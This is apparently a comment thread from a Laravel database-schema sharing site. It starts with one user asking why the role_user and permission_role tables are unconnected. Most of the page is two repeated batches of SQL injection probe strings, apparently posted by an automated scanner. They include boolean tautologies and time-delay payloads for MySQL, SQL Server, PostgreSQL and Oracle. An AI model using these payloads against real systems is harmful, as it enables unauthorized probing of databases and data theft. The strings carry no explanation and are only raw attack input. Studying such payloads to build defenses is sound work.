why role_user and permission_role table is not connected with other tables?

I made another version that is correct:
http://www.laravelsd.com/share/lNFAjd

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VtTmXpu3

-1 OR 2+204-204-1=0+0+0+1 --

-1 OR 2+570-570-1=0+0+0+1

-1' OR 2+784-784-1=0+0+0+1 --

-1' OR 2+241-241-1=0+0+0+1 or 'HVZpSeQD'='

-1" OR 2+879-879-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

NqWEJk4R'; waitfor delay '0:0:15' --

-5 OR 636=(SELECT 636 FROM PG_SLEEP(15))--

-5) OR 147=(SELECT 147 FROM PG_SLEEP(15))--

-1)) OR 565=(SELECT 565 FROM PG_SLEEP(15))--

LTtRGlwl' OR 409=(SELECT 409 FROM PG_SLEEP(15))--

NKWKxPR5') OR 767=(SELECT 767 FROM PG_SLEEP(15))--

JHOuIThJ')) OR 899=(SELECT 899 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@Mv0iP

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i09cfqad

-1 OR 2+990-990-1=0+0+0+1 --

-1 OR 2+329-329-1=0+0+0+1

-1' OR 2+762-762-1=0+0+0+1 --

-1' OR 2+966-966-1=0+0+0+1 or 'ci1Z1iaO'='

-1" OR 2+165-165-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

ndtrFygm'; waitfor delay '0:0:15' --

-5 OR 443=(SELECT 443 FROM PG_SLEEP(15))--

-5) OR 472=(SELECT 472 FROM PG_SLEEP(15))--

-1)) OR 228=(SELECT 228 FROM PG_SLEEP(15))--

s48LmZxD' OR 786=(SELECT 786 FROM PG_SLEEP(15))--

pOnomb1Y') OR 387=(SELECT 387 FROM PG_SLEEP(15))--

zH2qYjRN')) OR 757=(SELECT 757 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@JG68g